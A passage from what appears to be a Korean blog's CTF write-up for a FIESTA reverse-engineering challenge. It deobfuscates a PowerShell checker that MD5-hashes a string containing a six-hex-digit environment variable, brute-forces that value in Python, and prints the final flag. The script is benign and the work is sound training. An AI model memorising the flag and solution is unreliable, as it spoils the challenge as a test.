    $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx -Encoding ascii
}

변수명이 난독화되어 있어서 알아보기 어려우므로 ChatGPT를 사용하여 난독화를 풀어주었다.

난독화가 해제된 코드는 다음과 같다:

# 환경 변수에서 값을 가져옴
$getEnvVar = "`Get"

# 데이터 바이트 배열 생성
$bytes = "Bytes"

# 긴 문자열을 다 합친 후 결과값을 저장
$combinedData = ($getEnvVar + $bytes)

# 환경 변수 'heheFlag' 확인
if (Test-Path Env:\heheFlag) {
    Write-Host "Yep!"
} else {
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
    exit
}

# 환경 변수 heheFlag 값을 가져옴
$envVarValue = [System.Environment]::GetEnvironmentVariable("heheFlag").Trim()

# 값이 없거나 길이가 6이 아닐 경우 실패 처리
if (-not $envVarValue) {
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
    exit
}

if ($envVarValue.Length -ne 6) {
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
    exit
}

# 문자에 허용되지 않는 패턴이 있을 경우 실패 처리
foreach ($char in $envVarValue.ToCharArray()) {
    if ($char -notmatch '[0-9a-f]') {
        $failFilePath = Join-Path $env:temp 'Fail.txt'
        "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
        exit
    }
}

# 해시 값을 구하는 과정
$predefinedString = "fOR_be@UTy_1s_fOUnd_W17H1n_$envVarValue"
$md5 = [System.Security.Cryptography.MD5]::Create()
$bytesArray = [System.Text.Encoding]::UTF8.GetBytes($predefinedString)
$hashValue = $md5.ComputeHash($bytesArray)
$calculatedHash = [BitConverter]::ToString($hashValue) -replace '-', ''

# 예상된 해시 값과 비교
$expectedHash = "7d1c84eb2741e0e036040d4f183b16f4"

if ($calculatedHash -eq $expectedHash) {
    # 성공시 Success.txt 생성
    $successFilePath = Join-Path $env:temp 'Success.txt'
    "Success" | Out-File -FilePath $successFilePath -Encoding ascii
} else {
    # 실패시 Fail.txt 생성
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
}

위에서 $calculatedHash -eq $expectedHash를 만족하게 하는 predefinedString의 값이 플래그이다.

$envVarValue.Length -ne 6를 통해 expectedHash의 길이가 6임을 알 수 있으므로 Brute Force를 이용하면 플래그를 알아낼 수 있다.

플래그를 알아내는 파이썬 코드는 다음과 같다:

import hashlib
import itertools

# 주어진 조건에 맞는 해시값을 찾기 위한 변수
expected_hash = "7d1c84eb2741e0e036040d4f183b16f4"
predefined_format = "fOR_be@UTy_1s_fOUnd_W17H1n_{}"

# 16진수 허용 문자
allowed_chars = "0123456789abcdef"

# 해시값을 계산하는 함수
def calculate_hash(value):
    predefined_string = predefined_format.format(value)
    md5_hash = hashlib.md5(predefined_string.encode('utf-8')).hexdigest()
    return md5_hash

# 가능한 모든 6자리 조합을 생성하여 해시를 확인
for candidate in itertools.product(allowed_chars, repeat=6):
    env_var_value = ''.join(candidate)
    if calculate_hash(env_var_value) == expected_hash:
        result = env_var_value
        break

print(result) # fOR_be@UTy_1s_fOUnd_W17H1n_1af5c0

FIESTA{fOR_be@UTy_1s_fOUnd_W17H1n_1af5c0}

반응형

+ Recent posts